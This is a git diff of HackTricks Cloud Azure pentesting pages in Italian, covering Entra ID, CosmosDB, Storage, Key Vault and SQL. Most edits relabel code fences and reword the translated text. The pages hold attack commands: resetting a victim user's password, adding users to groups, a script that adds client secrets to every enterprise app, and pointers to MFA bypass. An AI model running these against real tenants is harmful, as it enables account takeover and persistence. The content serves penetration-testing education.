**script powershell** che **autentica** utilizza un'app con client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Anche se l'app non appare nella console, un sysadmin potrebbe **bloccare quell'applicazione** in modo che gli utenti non possano accedere utilizzando strumenti che si connettono tramite quell'App. Tuttavia, ci sono **altri client-id** di applicazioni che **ti permetteranno di connetterti ad Azure**: -```powershell +```bash # The important part is the ClientId, which identifies the application to login inside Azure $token = Invoke-Authorize -Credential $credential ` @@ -242,7 +242,7 @@ curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefin {{#endtab }} {{#tab name="Azure AD" }} -```powershell +```bash # Enumerate Users Get-AzureADUser -All $true Get-AzureADUser -All $true | select UserPrincipalName @@ -280,7 +280,7 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Enumerate users Get-AzADUser # Get details of a user @@ -295,22 +295,22 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com {{#endtabs }} #### Cambiare la password dell'utente -```powershell +```bash $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force (Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose ``` -### MFA e Politiche di Accesso Condizionale +### MFA & Conditional Access Policies -È fortemente consigliato aggiungere MFA a ogni utente, tuttavia, alcune aziende potrebbero non impostarlo o potrebbero impostarlo con un Accesso Condizionale: L'utente sarà **richiesto MFA se** accede da una posizione specifica, browser o **alcuna condizione**. Queste politiche, se non configurate correttamente, potrebbero essere soggette a **bypass**. Controlla: +È fortemente consigliato aggiungere MFA a ogni utente, tuttavia, alcune aziende potrebbero non impostarlo o potrebbero impostarlo con un Accesso Condizionale: L'utente sarà **richiesto MFA se** accede da una posizione specifica, browser o **alcuna condizione**. Queste politiche, se non configurate correttamente, potrebbero essere soggette a **bypasses**. Controlla: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md {{#endref}} -### Gruppi +### Groups -Per ulteriori informazioni sui gruppi di Entra ID controlla: +Per ulteriori informazioni sui gruppi di Entra ID, controlla: {{#ref}} ../az-basic-information/ @@ -318,7 +318,7 @@ Per ulteriori informazioni sui gruppi di Entra ID controlla: {{#tabs }} {{#tab name="az cli" }} -```powershell +```bash # Enumerate groups az ad group list az ad group list --query "[].[displayName]" -o table @@ -347,7 +347,7 @@ az role assignment list --include-groups --include-classic-administrators true - {{#endtab }} {{#tab name="Azure AD" }} -```powershell +```bash # Enumerate Groups Get-AzureADGroup -All $true # Get info of 1 group @@ -375,7 +375,7 @@ Get-AzureADGroup -ObjectId | Get-AzureADGroupAppRoleAssignment | fl * {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Get all groups Get-AzADGroup # Get details of a group @@ -394,11 +394,11 @@ Get-AzRoleAssignment -ResourceGroupName #### Aggiungi utente al gruppo I proprietari del gruppo possono aggiungere nuovi utenti al gruppo -```powershell +```bash Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose ``` > [!WARNING] -> I gruppi possono essere dinamici, il che significa fondamentalmente che **se un utente soddisfa determinate condizioni, verrà aggiunto a un gruppo**. Naturalmente, se le condizioni si basano su **attributi** che un **utente** può **controllare**, potrebbe abusare di questa funzionalità per **entrare in altri gruppi**.\ +> I gruppi possono essere dinamici, il che significa fondamentalmente che **se un utente soddisfa determinate condizioni verrà aggiunto a un gruppo**. Naturalmente, se le condizioni si basano su **attributi** che un **utente** può **controllare**, potrebbe abusare di questa funzionalità per **entrare in altri gruppi**.\ > Controlla come abusare dei gruppi dinamici nella pagina seguente: {{#ref}} @@ -434,7 +434,7 @@ az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredenti {{#endtab }} {{#tab name="Azure AD" }} -```powershell +```bash # Get Service Principals Get-AzureADServicePrincipal -All $true # Get details about a SP @@ -455,7 +455,7 @@ Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalMembersh {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Get SPs Get-AzADServicePrincipal # Get info of 1 SP @@ -468,7 +468,7 @@ Get-AzRoleAssignment -ServicePrincipalName {{#endtab }} {{#tab name="Raw" }} -```powershell +```bash $Token = 'eyJ0eX..' $URI = 'https://graph.microsoft.com/v1.0/applications' $RequestParams = @{ @@ -488,8 +488,8 @@ Headers = @{
-Elenca e prova ad aggiungere un client secret su ogni App Aziendale -```powershell +Elenca e prova ad aggiungere un client secret su ogni Enterprise App +```bash # Just call Add-AzADAppSecret Function Add-AzADAppSecret { @@ -595,7 +595,7 @@ Write-Output "Failed to Enumerate the Applications." ### Applicazioni -Per ulteriori informazioni sulle Applicazioni controlla: +Per ulteriori informazioni sulle Applicazioni, controlla: {{#ref}} ../az-basic-information/ @@ -604,7 +604,7 @@ Per ulteriori informazioni sulle Applicazioni controlla: Quando un'App viene generata, vengono date 2 tipologie di permessi: - **Permessi** dati al **Service Principal** -- **Permessi** che l'**app** può avere e utilizzare **per conto dell'utente**. +- **Permessi** che l'**app** può avere e utilizzare per **conto dell'utente**. {{#tabs }} {{#tab name="az cli" }} @@ -626,7 +626,7 @@ az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredent {{#endtab }} {{#tab name="Azure AD" }} -```powershell +```bash # List all registered applications Get-AzureADApplication -All $true # Get details of an application @@ -639,7 +639,7 @@ Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl * {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Get Apps Get-AzADApplication # Get details of one App @@ -717,7 +717,7 @@ az role assignment list --all --query "[?principalName=='carlos@carloshacktricks {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Get role assignments on the subscription Get-AzRoleDefinition # Get Role definition @@ -729,7 +729,7 @@ Get-AzRoleAssignment -Scope /subscriptions//resourceGroups/ | fl * {{#endtab }} {{#tab name="Azure AD" }} -```powershell +```bash # Enumerate Devices Get-AzureADDevice -All $true | fl * # List all the active devices (and not the stale devices) @@ -853,7 +853,7 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember > Se un dispositivo (VM) è **collegato ad AzureAD**, gli utenti di AzureAD potranno **accedere**.\ > Inoltre, se l'utente connesso è **Proprietario** del dispositivo, sarà **amministratore locale**. -### Unità amministrative +### Unità Amministrative Per ulteriori informazioni sulle unità amministrative, controlla: @@ -876,7 +876,7 @@ az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administr {{#endtab }} {{#tab name="AzureAD" }} -```powershell +```bash # Get Administrative Units Get-AzureADMSAdministrativeUnit Get-AzureADMSAdministrativeUnit -Id @@ -923,7 +923,7 @@ Quando PIM è abilitato, è possibile configurare ciascun ruolo con determinati - Richiedere giustificazione all'attivazione - Richiedere informazioni sul ticket all'attivazione - Richiedere approvazione per attivare -- Tempo massimo per far scadere le assegnazioni idonee +- Tempo massimo per far scadere le assegnazioni idonee - Molte altre configurazioni su quando e a chi inviare notifiche quando si verificano determinate azioni con quel ruolo ### Politiche di Accesso Condizionale @@ -943,11 +943,11 @@ Consente all'amministratore di configurarlo per **bloccare** i tentativi quando
> [!TIP] -> Oggigiorno è consigliato aggiungere queste restrizioni tramite politiche di Accesso Condizionale dove è possibile configurare le stesse opzioni. +> Oggi è consigliato aggiungere queste restrizioni tramite politiche di Accesso Condizionale dove è possibile configurare le stesse opzioni. ### Protezione della password Entra -La Protezione della password Entra ([https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) è una funzionalità di sicurezza che **aiuta a prevenire l'abuso di password deboli bloccando gli account quando si verificano diversi tentativi di accesso non riusciti**.\ +La Protezione della password Entra ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) è una funzionalità di sicurezza che **aiuta a prevenire l'abuso di password deboli bloccando gli account quando si verificano diversi tentativi di accesso non riusciti**.\ Consente anche di **vietare un elenco di password personalizzato** che è necessario fornire. Può essere **applicata sia** a livello cloud che su Active Directory on-premises. diff --git a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md index ca0e0c0ac..92e83c7f4 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md +++ b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md @@ -1,23 +1,23 @@ # Az - CosmosDB {% hint style="success" %} -Impara e pratica il hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Impara e pratica il hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Supporta HackTricks +Support HackTricks -* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)! -* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** -* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## Azure CosmosDB -**Azure Cosmos DB** è un **database NoSQL, relazionale e vettoriale completamente gestito** che offre tempi di risposta a singola cifra in millisecondi, scalabilità automatica e disponibilità supportata da SLA con sicurezza di livello enterprise. Consente uno sviluppo più rapido delle app attraverso la distribuzione dei dati multi-regione "chiavi in mano", API open-source, SDK per linguaggi popolari e funzionalità di database AI come il supporto vettoriale integrato e l'integrazione senza soluzione di continuità con Azure AI. +**Azure Cosmos DB** è un **database NoSQL, relazionale e vettoriale completamente gestito** che offre tempi di risposta a una cifra in millisecondi, scalabilità automatica e disponibilità supportata da SLA con sicurezza di livello enterprise. Consente uno sviluppo più rapido delle app attraverso la distribuzione dei dati multi-regione "chiavi in mano", API open-source, SDK per linguaggi popolari e funzionalità di database AI come il supporto vettoriale integrato e l'integrazione senza soluzione di continuità con Azure AI. Azure Cosmos DB fornisce più API di database per modellare i dati del mondo reale utilizzando modelli di dati documentali, relazionali, chiave-valore, grafico e a colonne, essendo queste API NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin e Table. @@ -83,7 +83,7 @@ az cosmosdb sql user-defined-function list --account-name --contai {% tab title="Az PowerShell" %} {% code overflow="wrap" %} -```powershell +```bash Get-Command -Module Az.CosmosD # List all Cosmos DB accounts in a specified resource group. @@ -173,7 +173,7 @@ print(item) ``` {% endcode %} -Un altro modo per stabilire una connessione è utilizzare il **DefaultAzureCredential()**. È sufficiente effettuare il login (az login) con l'account che ha i permessi e eseguirlo. In questo caso deve essere effettuata un'assegnazione di ruolo, dando i permessi necessari (vedi per mor) +Un altro modo per stabilire una connessione è utilizzare **DefaultAzureCredential()**. È sufficiente effettuare il login (az login) con l'account che ha i permessi e eseguirlo. In questo caso deve essere effettuata un'assegnazione di ruolo, dando i permessi necessari (vedi per mor) {% code overflow="wrap" %} ```python @@ -203,7 +203,7 @@ print("Document inserted.") {% endcode %} ### MongoDB -L'API NoSQL di MongoDB è un'API basata su documenti che utilizza BSON (Binary JSON) simile a JSON come formato dei dati. Fornisce un linguaggio di query con capacità di aggregazione, rendendola adatta per lavorare con dati strutturati, semi-strutturati e non strutturati. L'endpoint del servizio segue tipicamente questo formato: +L'API NoSQL di MongoDB è un'API basata su documenti che utilizza BSON (Binary JSON) simile a JSON come formato dei dati. Fornisce un linguaggio di query con capacità di aggregazione, rendendolo adatto per lavorare con dati strutturati, semi-strutturati e non strutturati. L'endpoint del servizio segue tipicamente questo formato: {% code overflow="wrap" %} ```bash @@ -243,7 +243,7 @@ az cosmosdb identity show --resource-group --name " -Context (New-AzStorageContext -Stor {{#endtabs}} > [!NOTE] -> Per impostazione predefinita, `az` cli utilizzerà una chiave dell'account per firmare una chiave e eseguire l'azione. Per utilizzare i privilegi del principale Entra ID, utilizzare i parametri `--auth-mode login --enable-file-backup-request-intent`. +> Per impostazione predefinita, `az` cli utilizzerà una chiave dell'account per firmare una chiave ed eseguire l'azione. Per utilizzare i privilegi del principale Entra ID, utilizzare i parametri `--auth-mode login --enable-file-backup-request-intent`. > [!TIP] > Utilizzare il parametro `--account-key` per indicare la chiave dell'account da utilizzare\ @@ -94,7 +94,7 @@ Questi sono gli script proposti da Azure al momento della scrittura per connette {{#tabs}} {{#tab name="Windows"}} -```powershell +```bash $connectTestResult = Test-NetConnection -ComputerName filescontainersrdtfgvhb.file.core.windows.net -Port 445 if ($connectTestResult.TcpTestSucceeded) { # Save the password so the drive will persist on reboot @@ -131,7 +131,7 @@ open smb://:@.file.core.windows.ne {{#endtab}} {{#endtabs}} -### Enumerazione regolare dello storage (chiavi di accesso, SAS...) +### Enumerazione dello storage regolare (chiavi di accesso, SAS...) {{#ref}} az-storage.md @@ -139,7 +139,7 @@ az-storage.md ## Escalation dei privilegi -Stesso della privesc dello storage: +Stesso metodo dell'escalation dei privilegi dello storage: {{#ref}} ../az-privilege-escalation/az-storage-privesc.md @@ -153,7 +153,7 @@ Stesso della privesc dello storage: ## Persistenza -Stesso della persistenza dello storage: +Stesso metodo della persistenza dello storage: {{#ref}} ../az-persistence/az-storage-persistence.md diff --git a/src/pentesting-cloud/azure-security/az-services/az-keyvault.md b/src/pentesting-cloud/azure-security/az-services/az-keyvault.md index 5759686f0..16048d4c1 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-keyvault.md +++ b/src/pentesting-cloud/azure-security/az-services/az-keyvault.md @@ -4,7 +4,7 @@ ## Informazioni di base -**Azure Key Vault** è un servizio cloud fornito da Microsoft Azure per memorizzare e gestire in modo sicuro informazioni sensibili come **segreti, chiavi, certificati e password**. Funziona come un repository centralizzato, offrendo accesso sicuro e controllo dettagliato utilizzando Azure Active Directory (Azure AD). Dal punto di vista della sicurezza, Key Vault fornisce **protezione tramite modulo di sicurezza hardware (HSM)** per le chiavi crittografiche, garantisce che i segreti siano crittografati sia a riposo che in transito e offre una gestione degli accessi robusta tramite **controllo degli accessi basato sui ruoli (RBAC)** e politiche. Presenta anche **registrazione delle audit**, integrazione con Azure Monitor per il tracciamento degli accessi e rotazione automatizzata delle chiavi per ridurre il rischio di esposizione prolungata delle chiavi. +**Azure Key Vault** è un servizio cloud fornito da Microsoft Azure per memorizzare e gestire in modo sicuro informazioni sensibili come **segreti, chiavi, certificati e password**. Funziona come un repository centralizzato, offrendo accesso sicuro e controllo dettagliato utilizzando Azure Active Directory (Azure AD). Dal punto di vista della sicurezza, Key Vault fornisce **protezione tramite modulo di sicurezza hardware (HSM)** per le chiavi crittografiche, garantisce che i segreti siano crittografati sia a riposo che in transito e offre una gestione degli accessi robusta tramite **controllo degli accessi basato sui ruoli (RBAC)** e politiche. Include anche **registrazione delle audit**, integrazione con Azure Monitor per il tracciamento degli accessi e rotazione automatizzata delle chiavi per ridurre il rischio di esposizione prolungata delle chiavi. Vedi [Azure Key Vault REST API overview](https://learn.microsoft.com/en-us/azure/key-vault/general/about-keys-secrets-certificates) per dettagli completi. @@ -31,7 +31,7 @@ L'accesso a una risorsa Key Vault è controllato da due piani: - Il **piano di gestione**, il cui obiettivo è [management.azure.com](http://management.azure.com/). - Viene utilizzato per gestire il key vault e le **politiche di accesso**. Solo il controllo degli accessi basato sui ruoli di Azure (**RBAC**) è supportato. -- Il **piano dati**, il cui obiettivo è **`.vault.azure.com`**. +- Il **piano dei dati**, il cui obiettivo è **`.vault.azure.com`**. - Viene utilizzato per gestire e accedere ai **dati** (chiavi, segreti e certificati) **nel key vault**. Questo supporta le **politiche di accesso al vault** o Azure **RBAC**. Un ruolo come **Contributor** che ha autorizzazioni nel piano di gestione per gestire le politiche di accesso può accedere ai segreti modificando le politiche di accesso. @@ -54,7 +54,7 @@ Inoltre, è possibile creare un **endpoint privato** per consentire una connessi ### Protezione dalla Cancellazione -Quando viene creato un key vault, il numero minimo di giorni per consentire la cancellazione è 7. Ciò significa che ogni volta che provi a eliminare quel key vault, ci vorranno **almeno 7 giorni per essere eliminato**. +Quando viene creato un key vault, il numero minimo di giorni per consentire la cancellazione è 7. Ciò significa che ogni volta che si tenta di eliminare quel key vault, saranno necessari **almeno 7 giorni per essere eliminato**. Tuttavia, è possibile creare un vault con **protezione dalla cancellazione disabilitata**, che consente al key vault e agli oggetti di essere eliminati durante il periodo di retention. Anche se, una volta che questa protezione è abilitata per un vault, non può essere disabilitata. @@ -92,7 +92,7 @@ az keyvault secret show --id https://.vault.azure.net/secrets/ --resource-group # Get info diff --git a/src/pentesting-cloud/azure-security/az-services/az-mysql.md b/src/pentesting-cloud/azure-security/az-services/az-mysql.md index 336f22b4d..5d267c823 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-mysql.md +++ b/src/pentesting-cloud/azure-security/az-services/az-mysql.md @@ -26,13 +26,13 @@ Azure Database for MySQL è un servizio di database relazionale completamente ge - Fornisce maggiore controllo sulla gestione e configurazione del database. - Supporta alta disponibilità (nella stessa zona e ridondante tra zone). - Include scalabilità elastica, gestione delle patch e ottimizzazione dei carichi di lavoro. -- Offre funzionalità di arresto/avvio per risparmiare sui costi. +- Offre funzionalità di arresto/avvio per risparmi sui costi. ### Caratteristiche principali * **Gestione del server**: La funzionalità **ad-admin** consente di gestire gli amministratori di Azure Active Directory (AAD) per i server MySQL, fornendo controllo sull'accesso amministrativo tramite credenziali AAD, mentre la funzionalità **identity** consente l'assegnazione e la gestione delle Identità Gestite di Azure, offrendo autenticazione sicura e senza credenziali per accedere alle risorse Azure. * **Gestione del ciclo di vita**: opzioni per avviare o arrestare un server, eliminare un'istanza di server flessibile, riavviare un server per applicare rapidamente le modifiche di configurazione e attendere per garantire che un server soddisfi condizioni specifiche prima di procedere con gli script di automazione. * **Sicurezza e rete**: può gestire le regole del firewall del server per un accesso sicuro al database e staccare le configurazioni della rete virtuale secondo necessità. -* **Protezione dei dati e backup**: include opzioni per gestire i backup del server flessibile per il recupero dei dati, eseguire un geo-restore per recuperare un server in una regione diversa, esportare i backup del server per uso esterno (in anteprima) e ripristinare un server da un backup a un punto specifico nel tempo. +* **Protezione dei dati e backup**: include opzioni per gestire i backup del server flessibile per il recupero dei dati, eseguire il geo-restore per recuperare un server in una regione diversa, esportare i backup del server per uso esterno (in anteprima) e ripristinare un server da un backup a un punto specifico nel tempo. ### Enumerazione @@ -73,7 +73,7 @@ az mysql flexible-server server-logs list --resource-group {% tab title="Az PowerShell" %} {% code overflow="wrap" %} -```powershell +```bash Get-Command -Module Az.MySql # Get all flexible servers in a resource group @@ -138,7 +138,7 @@ mysql -h .mysql.database.azure.com -P 3306 -u -p ``` {% endcode %} -Puoi anche eseguire query con github, ma sono necessari anche la password e l'utente. Devi impostare un file sql con la query da eseguire e poi: +Puoi anche eseguire query con github, ma sono necessari anche la password e l'utente. Devi impostare un file sql con la query da eseguire e poi: {% code overflow="wrap" %} ```bash # Setup @@ -188,7 +188,7 @@ Impara e pratica Hacking GCP: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Impara e pratica il hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Impara e pratica il hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +Supporta HackTricks -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)! +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
{% endhint %} @@ -26,18 +26,18 @@ Learn & practice GCP Hacking: --name {{#endtab}} {{#tab name="Az PowerShell"}} -```powershell +```bash # List Servers Get-AzSqlServer -ResourceGroupName "" @@ -209,7 +209,7 @@ Get-AzSqlVM ### Connettersi ed eseguire query SQL Potresti trovare una stringa di connessione (contenente credenziali) dall'esempio [enumerando un Az WebApp](az-app-services.md): -```powershell +```bash function invoke-sql{ param($query) $Connection_string = "Server=tcp:supercorp.database.windows.net,1433;Initial Catalog=flag;Persist Security Info=False;User ID=db_read;Password=gAegH!324fAG!#1fht;MultipleActiveResultSets=False;Encrypt=True;TrustServerCertificate=False;Connection Timeout=30;" @@ -227,8 +227,8 @@ $Connection.Close() invoke-sql 'Select Distinct TABLE_NAME From information_schema.TABLES;' ``` -Puoi anche utilizzare sqlcmd per accedere al database. È importante sapere se il server consente connessioni pubbliche `az sql server show --name --resource-group `, e anche se la regola del firewall consente al nostro IP di accedere: -```powershell +Puoi anche usare sqlcmd per accedere al database. È importante sapere se il server consente connessioni pubbliche `az sql server show --name --resource-group `, e anche se la regola del firewall consente al nostro IP di accedere: +```bash sqlcmd -S .database.windows.net -U -P -d ``` ## Riferimenti diff --git a/src/pentesting-cloud/azure-security/az-services/az-storage.md b/src/pentesting-cloud/azure-security/az-services/az-storage.md index b1fcf815a..c769598fd 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-storage.md +++ b/src/pentesting-cloud/azure-security/az-services/az-storage.md @@ -4,7 +4,7 @@ ## Informazioni di base -Gli Azure Storage Accounts sono servizi fondamentali in Microsoft Azure che forniscono **storage scalabile, sicuro e altamente disponibile per vari tipi di dati**, inclusi blob (oggetti binari di grandi dimensioni), file, code e tabelle. Servono come contenitori che raggruppano questi diversi servizi di storage sotto un unico namespace per una gestione facile. +Gli Azure Storage Accounts sono servizi fondamentali in Microsoft Azure che forniscono **storage cloud scalabile, sicuro e altamente disponibile per vari tipi di dati**, inclusi blob (oggetti binari di grandi dimensioni), file, code e tabelle. Servono come contenitori che raggruppano questi diversi servizi di storage sotto un unico namespace per una gestione facile. **Opzioni di configurazione principali**: @@ -15,7 +15,7 @@ Gli Azure Storage Accounts sono servizi fondamentali in Microsoft Azure che forn **Opzioni di configurazione della sicurezza**: -- **Richiedere trasferimenti sicuri per le operazioni API REST**: Richiedere TLS in qualsiasi comunicazione con lo storage. +- **Richiedere trasferimento sicuro per le operazioni API REST**: Richiedere TLS in qualsiasi comunicazione con lo storage. - **Consente di abilitare l'accesso anonimo su contenitori individuali**: In caso contrario, non sarà possibile abilitare l'accesso anonimo in futuro. - **Abilitare l'accesso con chiave dello storage account**: In caso contrario, l'accesso con chiavi condivise sarà vietato. - **Versione minima TLS**. @@ -23,7 +23,7 @@ Gli Azure Storage Accounts sono servizi fondamentali in Microsoft Azure che forn **Opzioni di Blob Storage**: -- **Consenti la replicazione cross-tenant**. +- **Consenti replicazione cross-tenant**. - **Livello di accesso**: Hot (dati accessibili frequentemente), Cool e Cold (dati raramente accessibili). **Opzioni di rete**: @@ -36,28 +36,28 @@ Gli Azure Storage Accounts sono servizi fondamentali in Microsoft Azure che forn **Opzioni di protezione dei dati**: -- **Ripristino point-in-time per i contenitori**: Consente di ripristinare i contenitori a uno stato precedente. -- Richiede che la versioning, il change feed e la cancellazione soft dei blob siano abilitati. -- **Abilitare la cancellazione soft per i blob**: Abilita un periodo di retention in giorni per i blob eliminati (anche sovrascritti). -- **Abilitare la cancellazione soft per i contenitori**: Abilita un periodo di retention in giorni per i contenitori eliminati. -- **Abilitare la cancellazione soft per le condivisioni di file**: Abilita un periodo di retention in giorni per le condivisioni di file eliminate. -- **Abilitare la versioning per i blob**: Mantieni le versioni precedenti dei tuoi blob. -- **Abilitare il change feed dei blob**: Tieni traccia dei log di creazione, modifica e cancellazione dei blob. +- **Ripristino point-in-time per contenitori**: Consente di ripristinare i contenitori a uno stato precedente. +- Richiede versioning, change feed e blob soft delete per essere abilitati. +- **Abilitare soft delete per i blob**: Abilita un periodo di retention in giorni per i blob eliminati (anche sovrascritti). +- **Abilitare soft delete per i contenitori**: Abilita un periodo di retention in giorni per i contenitori eliminati. +- **Abilitare soft delete per le condivisioni di file**: Abilita un periodo di retention in giorni per le condivisioni di file eliminate. +- **Abilitare versioning per i blob**: Mantieni le versioni precedenti dei tuoi blob. +- **Abilitare blob change feed**: Tieni traccia dei log di creazione, modifica ed eliminazione dei blob. - **Abilitare il supporto per l'immutabilità a livello di versione**: Consente di impostare una politica di retention basata sul tempo a livello di account che si applicherà a tutte le versioni dei blob. - Il supporto per l'immutabilità a livello di versione e il ripristino point-in-time per i contenitori non possono essere abilitati simultaneamente. **Opzioni di configurazione della crittografia**: - **Tipo di crittografia**: È possibile utilizzare chiavi gestite da Microsoft (MMK) o chiavi gestite dal cliente (CMK). -- **Abilitare la crittografia dell'infrastruttura**: Consente di crittografare i dati due volte "per maggiore sicurezza". +- **Abilitare la crittografia dell'infrastruttura**: Consente di crittografare i dati "per maggiore sicurezza". ### Endpoint di storage -
Servizio di storageEndpoint
Blob storagehttps://<storage-account>.blob.core.windows.net

https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list
Data Lake Storagehttps://<storage-account>.dfs.core.windows.net
Azure Fileshttps://<storage-account>.file.core.windows.net
Queue storagehttps://<storage-account>.queue.core.windows.net
Table storagehttps://<storage-account>.table.core.windows.net
+
Servizio di storageEndpoint
Blob storagehttps://.blob.core.windows.net

https://.blob.core.windows.net/?restype=container&comp=list
Data Lake Storagehttps://.dfs.core.windows.net
Azure Fileshttps://.file.core.windows.net
Queue storagehttps://.queue.core.windows.net
Table storagehttps://.table.core.windows.net
### Esposizione pubblica -Se "Consenti accesso pubblico ai blob" è **abilitato** (disabilitato per impostazione predefinita), quando si crea un contenitore è possibile: +Se "Consenti accesso pubblico ai blob" è **abilitato** (disabilitato per impostazione predefinita), durante la creazione di un contenitore è possibile: - Dare **accesso pubblico per leggere i blob** (è necessario conoscere il nome). - **Elencare i blob del contenitore** e **leggerli**. @@ -83,7 +83,7 @@ Gli storage account hanno chiavi di accesso che possono essere utilizzate per ac ### **Chiavi condivise & Chiavi condivise Lite** -È possibile [**generare chiavi condivise**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) firmate con le chiavi di accesso per autorizzare l'accesso a determinate risorse tramite un URL firmato. +È possibile [**generare Chiavi Condivise**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) firmate con le chiavi di accesso per autorizzare l'accesso a determinate risorse tramite un URL firmato. > [!NOTE] > Nota che la parte `CanonicalizedResource` rappresenta la risorsa dei servizi di storage (URI). E se qualche parte nell'URL è codificata, dovrebbe essere codificata anche all'interno del `CanonicalizedResource`. @@ -116,7 +116,7 @@ Content-Type + "\n" + Date + "\n" + CanonicalizedResource; ``` -- È possibile generare una **chiave condivisa leggera per i servizi blob, coda e file** firmando le seguenti informazioni: +- È possibile generare una **lite shared key per i servizi blob, queue e file** firmando le seguenti informazioni: ```bash StringToSign = VERB + "\n" + Content-MD5 + "\n" + @@ -125,7 +125,7 @@ Date + "\n" + CanonicalizedHeaders + CanonicalizedResource; ``` -- È possibile generare una **chiave condivisa leggera per i servizi di tabella** firmando le seguenti informazioni: +- È possibile generare una **lite shared key for table services** firmando le seguenti informazioni: ```bash StringToSign = Date + "\n" CanonicalizedResource @@ -144,14 +144,14 @@ Content-Length: 0 ``` ### **Shared Access Signature** (SAS) -Le Shared Access Signatures (SAS) sono URL sicuri e limitati nel tempo che **concedono permessi specifici per accedere a risorse** in un account di Azure Storage senza esporre le chiavi di accesso dell'account. Mentre le chiavi di accesso forniscono accesso amministrativo completo a tutte le risorse, SAS consente un controllo granulare specificando i permessi (come lettura o scrittura) e definendo un tempo di scadenza. +Le Shared Access Signatures (SAS) sono URL sicuri e limitati nel tempo che **concedono permessi specifici per accedere a risorse** in un account di Azure Storage senza esporre le chiavi di accesso dell'account. Mentre le chiavi di accesso forniscono accesso amministrativo completo a tutte le risorse, la SAS consente un controllo granulare specificando i permessi (come lettura o scrittura) e definendo un tempo di scadenza. #### Tipi di SAS -- **User delegation SAS**: Questo è creato da un **Entra ID principal** che firmerà il SAS e delega i permessi dall'utente al SAS. Può essere utilizzato solo con 